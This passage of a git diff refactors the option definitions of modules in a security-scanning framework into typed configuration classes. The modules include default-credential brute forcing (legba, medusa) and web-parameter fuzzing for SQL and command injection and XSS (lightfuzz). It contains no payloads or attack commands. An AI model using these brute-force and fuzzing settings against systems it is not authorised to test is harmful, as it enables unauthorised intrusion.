Config(BaseModuleConfig): + api_key: str = Field('', description='FullHunt API Key') base_url = "https://fullhunt.io/api/v1" diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py index ad4bbe40a5..17a52c05ef 100644 --- a/bbot/modules/git_clone.py +++ b/bbot/modules/git_clone.py @@ -1,6 +1,8 @@ from pathlib import Path from subprocess import CalledProcessError from bbot.modules.templates.github import github +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class git_clone(github): @@ -12,11 +14,9 @@ class git_clone(github): "created_date": "2024-03-08", "author": "@domwhewell-sage", } - options = {"api_key": "", "output_folder": ""} - options_desc = { - "api_key": "Github token", - "output_folder": "Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='Github token') + output_folder: str = Field('', description='Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.') deps_apt = ["git"] diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index 71ce02a338..ab837cc174 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -2,6 +2,8 @@ from pathlib import Path from subprocess import CalledProcessError from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class gitdumper(BaseModule): @@ -13,16 +15,10 @@ class gitdumper(BaseModule): "created_date": "2025-02-11", "author": "@domwhewell-sage", } - options = { - "output_folder": "", - "fuzz_tags": False, - "max_semanic_version": 10, - } - options_desc = { - "output_folder": "Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.", - "fuzz_tags": "Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version", - "max_semanic_version": "Maximum version number to fuzz for (default < v10.10.10)", - } + class Config(BaseModuleConfig): + output_folder: str = Field('', description='Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.') + fuzz_tags: bool = Field(False, description='Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version') + max_semanic_version: int = Field(10, description='Maximum version number to fuzz for (default < v10.10.10)') scope_distance_modifier = 2 diff --git a/bbot/modules/github_codesearch.py b/bbot/modules/github_codesearch.py index 6901221a30..3fb15c7678 100644 --- a/bbot/modules/github_codesearch.py +++ b/bbot/modules/github_codesearch.py @@ -1,5 +1,7 @@ from bbot.modules.templates.github import github from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class github_codesearch(github, subdomain_enum): @@ -12,8 +14,9 @@ class github_codesearch(github, subdomain_enum): "author": "@domwhewell-sage", "auth_required": True, } - options = {"api_key": "", "limit": 100} - options_desc = {"api_key": "Github token", "limit": "Limit code search to this many results"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Github token') + limit: int = Field(100, description='Limit code search to this many results') github_raw_url = "https://raw.githubusercontent.com/" diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py index 6225c21710..2e96fdad1e 100644 --- a/bbot/modules/github_org.py +++ b/bbot/modules/github_org.py @@ -1,4 +1,6 @@ from bbot.modules.templates.github import github +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class github_org(github): @@ -10,12 +12,10 @@ class github_org(github): "created_date": "2023-12-14", "author": "@domwhewell-sage", } - options = {"api_key": "", "include_members": True, "include_member_repos": False} - options_desc = { - "api_key": "Github token", - "include_members": "Enumerate organization members", - "include_member_repos": "Also enumerate organization members' repositories", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='Github token') + include_members: bool = Field(True, description='Enumerate organization members') + include_member_repos: bool = Field(False, description="Also enumerate organization members' repositories") scope_distance_modifier = 2 diff --git a/bbot/modules/github_usersearch.py b/bbot/modules/github_usersearch.py index 5e330c3e07..47693c2764 100644 --- a/bbot/modules/github_usersearch.py +++ b/bbot/modules/github_usersearch.py @@ -1,5 +1,7 @@ from bbot.modules.templates.github import github from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class github_usersearch(github, subdomain_enum): @@ -12,8 +14,8 @@ class github_usersearch(github, subdomain_enum): "author": "@domwhewell-sage", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "Github token"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Github token') async def handle_event(self, event): self.verbose("Searching for users with emails matching in scope domains") diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index e64a303022..12931ffdd4 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -3,6 +3,8 @@ from pathlib import Path from bbot.modules.templates.github import github +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class github_workflows(github): @@ -15,12 +17,10 @@ class github_workflows(github): "author": "@domwhewell-sage", "auth_required": True, } - options = {"api_key": "", "num_logs": 1, "output_folder": ""} - options_desc = { - "api_key": "Github token", - "num_logs": "For each workflow fetch the last N successful runs logs (max 100)", - "output_folder": "Folder to download workflow logs and artifacts to", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='Github token') + num_logs: int = Field(1, description='For each workflow fetch the last N successful runs logs (max 100)') + output_folder: str = Field('', description='Folder to download workflow logs and artifacts to') scope_distance_modifier = 2 diff --git a/bbot/modules/gitlab_com.py b/bbot/modules/gitlab_com.py index c72f94cb57..a08f645cc7 100644 --- a/bbot/modules/gitlab_com.py +++ b/bbot/modules/gitlab_com.py @@ -1,4 +1,6 @@ from bbot.modules.templates.gitlab import GitLabBaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class gitlab_com(GitLabBaseModule): @@ -13,8 +15,8 @@ class gitlab_com(GitLabBaseModule): "author": "@TheTechromancer", } - options = {"api_key": ""} - options_desc = {"api_key": "GitLab access token (for gitlab.com/org only)"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='GitLab access token (for gitlab.com/org only)') # This is needed because we are consuming SOCIAL events, which aren't in scope scope_distance_modifier = 2 diff --git a/bbot/modules/gitlab_onprem.py b/bbot/modules/gitlab_onprem.py index 26fbf0a917..c76a0c91a2 100644 --- a/bbot/modules/gitlab_onprem.py +++ b/bbot/modules/gitlab_onprem.py @@ -1,4 +1,6 @@ from bbot.modules.templates.gitlab import GitLabBaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class gitlab_onprem(GitLabBaseModule): @@ -18,8 +20,8 @@ class gitlab_onprem(GitLabBaseModule): # Optional GitLab access token (only required for gitlab.com, but still # supported for on-prem installations that expose private projects). - options = {"api_key": ""} - options_desc = {"api_key": "GitLab access token (for self-hosted instances only)"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='GitLab access token (for self-hosted instances only)') # Allow accepting events slightly beyond configured max distance so we can # discover repos on neighbouring infrastructure. diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index b26018d58c..46ef779b4e 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -9,6 +9,8 @@ from shutil import copyfile, copymode from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class gowitness(BaseModule): @@ -16,28 +18,16 @@ class gowitness(BaseModule): produced_events = ["WEBSCREENSHOT", "URL", "URL_UNVERIFIED", "TECHNOLOGY"] flags = ["safe", "active", "web-screenshots"] meta = {"description": "Take screenshots of webpages", "created_date": "2022-07-08", "author": "@TheTechromancer"} - options = { - "version": "3.1.1", - "threads": 0, - "timeout": 10, - "resolution_x": 1440, - "resolution_y": 900, - "output_path": "", - "social": False, - "idle_timeout": 1800, - "chrome_path": "", - } - options_desc = { - "version": "Gowitness version", - "threads": "How many gowitness threads to spawn (default is number of CPUs x 2)", - "timeout": "Preflight check timeout", - "resolution_x": "Screenshot resolution x", - "resolution_y": "Screenshot resolution y", - "output_path": "Where to save screenshots", - "social": "Whether to screenshot social media webpages", - "idle_timeout": "Skip the current gowitness batch if it stalls for longer than this many seconds", - "chrome_path": "Path to chrome executable", - } + class Config(BaseModuleConfig): + version: str = Field('3.1.1', description='Gowitness version') + threads: int = Field(0, description='How many gowitness threads to spawn (default is number of CPUs x 2)') + timeout: int = Field(10, description='Preflight check timeout') + resolution_x: int = Field(1440, description='Screenshot resolution x') + resolution_y: int = Field(900, description='Screenshot resolution y') + output_path: str = Field('', description='Where to save screenshots') + social: bool = Field(False, description='Whether to screenshot social media webpages') + idle_timeout: int = Field(1800, description='Skip the current gowitness batch if it stalls for longer than this many seconds') + chrome_path: str = Field('', description='Path to chrome executable') deps_common = ["chromium"] deps_pip = ["aiosqlite"] deps_ansible = [ diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index 5cfcb7c16c..246e103abc 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -1,6 +1,8 @@ import json from pathlib import Path from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class graphql_introspection(BaseModule): @@ -12,14 +14,9 @@ class graphql_introspection(BaseModule): "created_date": "2025-07-01", "author": "@mukesh-dream11", } - options = { - "graphql_endpoint_urls": ["/", "/graphql", "/v1/graphql"], - "output_folder": "", - } - options_desc = { - "graphql_endpoint_urls": "List of GraphQL endpoint to suffix to the target URL", - "output_folder": "Folder to save the GraphQL schemas to", - } + class Config(BaseModuleConfig): + graphql_endpoint_urls: list[str] = Field(['/', '/graphql', '/v1/graphql'], description='List of GraphQL endpoint to suffix to the target URL') + output_folder: str = Field('', description='Folder to save the GraphQL schemas to') async def setup(self): output_folder = self.config.get("output_folder", "") diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index 860894015b..a810d5edab 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -7,6 +7,8 @@ from http.cookies import SimpleCookie from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class httpx(BaseModule): @@ -20,22 +22,13 @@ class httpx(BaseModule): "author": "@TheTechromancer", } - options = { - "threads": 50, - "in_scope_only": True, - "version": "1.2.5", - "max_response_size": 5242880, - "store_responses": False, - "probe_all_ips": False, - } - options_desc = { - "threads": "Number of httpx threads to use", - "in_scope_only": "Only visit web reparents that are in scope.", - "version": "httpx version", - "max_response_size": "Max response size in bytes", - "store_responses": "Save raw HTTP responses to scan folder", - "probe_all_ips": "Probe all the ips associated with same host", - } + class Config(BaseModuleConfig): + threads: int = Field(50, description='Number of httpx threads to use') + in_scope_only: bool = Field(True, description='Only visit web reparents that are in scope.') + version: str = Field('1.2.5', description='httpx version') + max_response_size: int = Field(5242880, description='Max response size in bytes') + store_responses: bool = Field(False, description='Save raw HTTP responses to scan folder') + probe_all_ips: bool = Field(False, description='Probe all the ips associated with same host') deps_ansible = [ { "name": "Download httpx", diff --git a/bbot/modules/hunterio.py b/bbot/modules/hunterio.py index f732addf3e..832c3aa792 100644 --- a/bbot/modules/hunterio.py +++ b/bbot/modules/hunterio.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class hunterio(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class hunterio(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "Hunter.IO API key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Hunter.IO API key') base_url = "https://api.hunter.io/v2" ping_url = f"{base_url}/account?api_key={{api_key}}" diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 42c5cb8693..5be0e95793 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -1,6 +1,8 @@ import re from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig valid_chars = "ETAONRISHDLFCMUGYPWBVKJXQZ0123456789_-$~()&!#%'@^`{}]]" @@ -22,12 +24,10 @@ class iis_shortnames(BaseModule): "created_date": "2022-04-15", "author": "@liquidsec", } - options = {"detect_only": True, "max_node_count": 50, "speculate_magic_urls": True} - options_desc = { - "detect_only": "Only detect the vulnerability and do not run the shortname scanner", - "max_node_count": "Limit how many nodes to attempt to resolve on any given recursion branch", - "speculate_magic_urls": "Attempt to discover iis 'magic' special folders", - } + class Config(BaseModuleConfig): + detect_only: bool = Field(True, description='Only detect the vulnerability and do not run the shortname scanner') + max_node_count: int = Field(50, description='Limit how many nodes to attempt to resolve on any given recursion branch') + speculate_magic_urls: bool = Field(True, description="Attempt to discover iis 'magic' special folders") in_scope_only = True _module_threads = 8 diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 5a0fc04d43..4c84b1b870 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -10,6 +10,8 @@ from bbot.modules.base import BaseInterceptModule from bbot.modules.internal.base import BaseInternalModule from urllib.parse import urlparse, urljoin, parse_qs, urlunparse, urldefrag +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig def find_subclasses(obj, base_class): @@ -335,16 +337,10 @@ class excavateTestRule(ExcavateRule): "author": "@liquidsec", } - options = { - "yara_max_match_data": 2000, - "custom_yara_rules": "", - "speculate_params": False, - } - options_desc = { - "yara_max_match_data": "Sets the maximum amount of text that can extracted from a YARA regex", - "custom_yara_rules": "Include custom Yara rules", - "speculate_params": "Enable speculative parameter extraction from JSON and XML content", - } + class Config(BaseModuleConfig): + yara_max_match_data: int = Field(2000, description='Sets the maximum amount of text that can extracted from a YARA regex') + custom_yara_rules: str = Field('', description='Include custom Yara rules') + speculate_params: bool = Field(False, description='Enable speculative parameter extraction from JSON and XML content') scope_distance_modifier = None accept_dupes = False diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 0e31e9158b..2eae9124e5 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -3,6 +3,8 @@ from bbot.core.helpers import validators from bbot.modules.internal.base import BaseInternalModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class speculate(BaseInternalModule): @@ -32,12 +34,10 @@ class speculate(BaseInternalModule): "author": "@liquidsec", } - options = {"ip_range_max_hosts": 65536, "ports": "80,443", "essential_only": False} - options_desc = { - "ip_range_max_hosts": "Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events", - "ports": "The set of ports to speculate on", - "essential_only": "Only enable essential speculate features (no extra discovery)", - } + class Config(BaseModuleConfig): + ip_range_max_hosts: int = Field(65536, description='Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events') + ports: str = Field('80,443', description='The set of ports to speculate on') + essential_only: bool = Field(False, description='Only enable essential speculate features (no extra discovery)') scope_distance_modifier = 1 _priority = 4 diff --git a/bbot/modules/ip2location.py b/bbot/modules/ip2location.py index 80625f2852..8abf7fcc69 100644 --- a/bbot/modules/ip2location.py +++ b/bbot/modules/ip2location.py @@ -1,4 +1,6 @@ from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class IP2Location(BaseModule): @@ -15,11 +17,9 @@ class IP2Location(BaseModule): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": "", "lang": ""} - options_desc = { - "api_key": "IP2location.io API Key", - "lang": "Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='IP2location.io API Key') + lang: str = Field('', description='Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.') scope_distance_modifier = 1 _priority = 2 suppress_dupes = False diff --git a/bbot/modules/ipneighbor.py b/bbot/modules/ipneighbor.py index f5f1007b00..badb48cd48 100644 --- a/bbot/modules/ipneighbor.py +++ b/bbot/modules/ipneighbor.py @@ -1,6 +1,8 @@ import ipaddress from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class ipneighbor(BaseModule): @@ -12,8 +14,8 @@ class ipneighbor(BaseModule): "created_date": "2022-06-08", "author": "@TheTechromancer", } - options = {"num_bits": 4} - options_desc = {"num_bits": "Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)"} + class Config(BaseModuleConfig): + num_bits: int = Field(4, description='Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)') scope_distance_modifier = 1 async def setup(self): diff --git a/bbot/modules/ipstack.py b/bbot/modules/ipstack.py index 6a00935f96..f298c12b55 100644 --- a/bbot/modules/ipstack.py +++ b/bbot/modules/ipstack.py @@ -1,4 +1,6 @@ from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Ipstack(BaseModule): @@ -16,8 +18,8 @@ class Ipstack(BaseModule): "author": "@tycoonslive", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "IPStack GeoIP API Key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='IPStack GeoIP API Key') scope_distance_modifier = 1 _priority = 2 suppress_dupes = False diff --git a/bbot/modules/jadx.py b/bbot/modules/jadx.py index d2f8437af6..44ae831e49 100644 --- a/bbot/modules/jadx.py +++ b/bbot/modules/jadx.py @@ -1,6 +1,8 @@ from pathlib import Path from subprocess import CalledProcessError from bbot.modules.internal.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class jadx(BaseModule): @@ -12,12 +14,8 @@ class jadx(BaseModule): "created_date": "2024-11-04", "author": "@domwhewell-sage", } - options = { - "threads": 4, - } - options_desc = { - "threads": "Maximum jadx threads for extracting apk's, default: 4", - } + class Config(BaseModuleConfig): + threads: int = Field(4, description="Maximum jadx threads for extracting apk's, default: 4") deps_common = ["java"] deps_ansible = [ { diff --git a/bbot/modules/kreuzberg.py b/bbot/modules/kreuzberg.py index 373168180c..a71ce524b5 100644 --- a/bbot/modules/kreuzberg.py +++ b/bbot/modules/kreuzberg.py @@ -2,6 +2,8 @@ from kreuzberg import extract_file from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class kreuzberg(BaseModule): @@ -13,58 +15,8 @@ class kreuzberg(BaseModule): "created_date": "2024-06-03", "author": "@domwhewell-sage", } - options = { - "extensions": [ - "bak", # Backup File - "bash", # Bash Script or Configuration - "bashrc", # Bash Script or Configuration - "conf", # Configuration File - "cfg", # Configuration File - "crt", # Certificate File - "csv", # Comma Separated Values File - "db", # SQLite Database File - "sqlite", # SQLite Database File - "doc", # Microsoft Word Document (Old Format) - "docx", # Microsoft Word Document - "ica", # Citrix Independent Computing Architecture File - "indd", # Adobe InDesign Document - "ini", # Initialization File - "json", # JSON File - "key", # Private Key File - "pub", # Public Key File - "log", # Log File - "markdown", # Markdown File - "md", # Markdown File - "odg", # OpenDocument Graphics (LibreOffice, OpenOffice) - "odp", # OpenDocument Presentation (LibreOffice, OpenOffice) - "ods", # OpenDocument Spreadsheet (LibreOffice, OpenOffice) - "odt", # OpenDocument Text (LibreOffice, OpenOffice) - "pdf", # Adobe Portable Document Format - "pem", # Privacy Enhanced Mail (SSL certificate) - "pps", # Microsoft PowerPoint Slideshow (Old Format) - "ppsx", # Microsoft PowerPoint Slideshow - "ppt", # Microsoft PowerPoint Presentation (Old Format) - "pptx", # Microsoft PowerPoint Presentation - "ps1", # PowerShell Script - "rdp", # Remote Desktop Protocol File - "rsa", # RSA Private Key File - "sh", # Shell Script - "sql", # SQL Database Dump - "swp", # Swap File (temporary file, often Vim) - "sxw", # OpenOffice.org Writer document - "txt", # Plain Text Document - "vbs", # Visual Basic Script - "wpd", # WordPerfect Document - "xls", # Microsoft Excel Spreadsheet (Old Format) - "xlsx", # Microsoft Excel Spreadsheet - "xml", # eXtensible Markup Language File - "yml", # YAML Ain't Markup Language - "yaml", # YAML Ain't Markup Language - ], - } - options_desc = { - "extensions": "File extensions to parse", - } + class Config(BaseModuleConfig): + extensions: list[str] = Field(['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'], description='File extensions to parse') deps_pip = ["kreuzberg>=4.3,<4.5", "pypdfium2~=5.0"] scope_distance_modifier = 1 diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py index 1f79dc8b12..f4f44bbd09 100644 --- a/bbot/modules/leakix.py +++ b/bbot/modules/leakix.py @@ -1,13 +1,15 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class leakix(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["safe", "subdomain-enum", "passive"] - options = {"api_key": ""} + class Config(BaseModuleConfig): + api_key: str = Field('', description='LeakIX API Key') # NOTE: API key is not required (but having one will get you more results) - options_desc = {"api_key": "LeakIX API Key"} meta = { "description": "Query leakix.net for subdomains", "created_date": "2022-07-11", diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 66b73cde42..f76a73b038 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -2,6 +2,8 @@ from pathlib import Path from bbot.errors import WordlistError from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig # key: value: # List with `legba -L` @@ -28,31 +30,18 @@ class legba(BaseModule): _module_threads = 25 scope_distance_modifier = None - options = { - "ssh_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt", - "ftp_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt", - "telnet_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt", - "vnc_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt", - "mssql_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt", - "mysql_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt", - "postgresql_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt", - "concurrency": 3, - "rate_limit": 3, - "version": "1.1.1", - } + class Config(BaseModuleConfig): + ssh_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', description='Wordlist URL for SSH combined username:password wordlist, newline separated') + ftp_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', description='Wordlist URL for FTP combined username:password wordlist, newline separated') + telnet_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', description='Wordlist URL for TELNET combined username:password wordlist, newline separated') + vnc_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', description='Wordlist URL for VNC password wordlist, newline separated') + mssql_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', description='Wordlist URL for MSSQL combined username:password wordlist, newline separated') + mysql_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', description='Wordlist URL for MySQL combined username:password wordlist, newline separated') + postgresql_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', description='Wordlist URL for PostgreSQL combined username:password wordlist, newline separated') + concurrency: int = Field(3, description='Number of concurrent workers, gets overridden for SSH') + rate_limit: int = Field(3, description='Limit the number of requests per second, gets overridden for SSH') + version: str = Field('1.1.1', description='legba version') - options_desc = { - "ssh_wordlist": "Wordlist URL for SSH combined username:password wordlist, newline separated", - "ftp_wordlist": "Wordlist URL for FTP combined username:password wordlist, newline separated", - "telnet_wordlist": "Wordlist URL for TELNET combined username:password wordlist, newline separated", - "vnc_wordlist": "Wordlist URL for VNC password wordlist, newline separated", - "mssql_wordlist": "Wordlist URL for MSSQL combined username:password wordlist, newline separated", - "mysql_wordlist": "Wordlist URL for MySQL combined username:password wordlist, newline separated", - "postgresql_wordlist": "Wordlist URL for PostgreSQL combined username:password wordlist, newline separated", - "concurrency": "Number of concurrent workers, gets overridden for SSH", - "rate_limit": "Limit the number of requests per second, gets overridden for SSH", - "version": "legba version", - } deps_ansible = [ { diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 231081006f..ba9989dd24 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -2,6 +2,8 @@ from bbot.modules.base import BaseModule from bbot.errors import InteractshError +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class lightfuzz(BaseModule): @@ -9,22 +11,13 @@ class lightfuzz(BaseModule): produced_events = ["FINDING"] flags = ["active", "loud", "web-heavy", "invasive"] - options = { - "force_common_headers": False, - "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi", "ssrf"], - "disable_post": False, - "try_post_as_get": False, - "try_get_as_post": False, - "avoid_wafs": True, - } - options_desc = { - "force_common_headers": "Force emit commonly exploitable parameters that may be difficult to detect", - "enabled_submodules": "A list of submodules to enable. Empty list enabled all modules.", - "disable_post": "Disable processing of POST parameters, avoiding form submissions.", - "try_post_as_get": "For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing).", - "try_get_as_post": "For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing).", - "avoid_wafs": "Avoid running against confirmed WAFs, which are likely to block lightfuzz requests", - } + class Config(BaseModuleConfig): + force_common_headers: bool = Field(False, description='Force emit commonly exploitable parameters that may be difficult to detect') + enabled_submodules: list[str] = Field(['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'], description='A list of submodules to enable. Empty list enabled all modules.') + disable_post: bool = Field(False, description='Disable processing of POST parameters, avoiding form submissions.') + try_post_as_get: bool = Field(False, description='For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing).') + try_get_as_post: bool = Field(False, description='For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing).') + avoid_wafs: bool = Field(True, description='Avoid running against confirmed WAFs, which are likely to block lightfuzz requests') meta = { "description": "Find Web Parameters and Lightly Fuzz them using a heuristic based scanner", diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index a3f8cebd85..5184eef871 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -1,5 +1,7 @@ import re from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class medusa(BaseModule): @@ -14,21 +16,13 @@ class medusa(BaseModule): } scope_distance_modifier = None - options = { - "snmp_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt", - "snmp_versions": ["1", "2C"], # Only 1 and 2C are available with medusa 2.3. - "wait_microseconds": 200, - "timeout_s": 5, - "threads": 5, - } + class Config(BaseModuleConfig): + snmp_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', description='Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)') + snmp_versions: list[str] = Field(['1', '2C'], description="List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])") + wait_microseconds: int = Field(200, description='Wait time after every SNMP request in microseconds (default 200)') + timeout_s: int = Field(5, description='Wait time for the SNMP response(s) once at the end of all attempts (default 5)') + threads: int = Field(5, description='Number of communities to be tested concurrently (default 5)') - options_desc = { - "snmp_wordlist": "Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)", - "snmp_versions": "List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])", - "wait_microseconds": "Wait time after every SNMP request in microseconds (default 200)", - "timeout_s": "Wait time for the SNMP response(s) once at the end of all attempts (default 5)", - "threads": "Number of communities to be tested concurrently (default 5)", - } deps_ansible = [ { diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 164f26efd5..19d29af238 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -1,5 +1,7 @@ from bbot.errors import NTLMError from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig ntlm_discovery_endpoints = [ "", @@ -74,8 +76,8 @@ class ntlm(BaseModule): "created_date": "2022-07-25", "author": "@liquidsec", } - options = {"try_all": False} - options_desc = {"try_all": "Try every NTLM endpoint"} + class Config(BaseModuleConfig): + try_all: bool = Field(False, description='Try every NTLM endpoint') in_scope_only = True diff --git 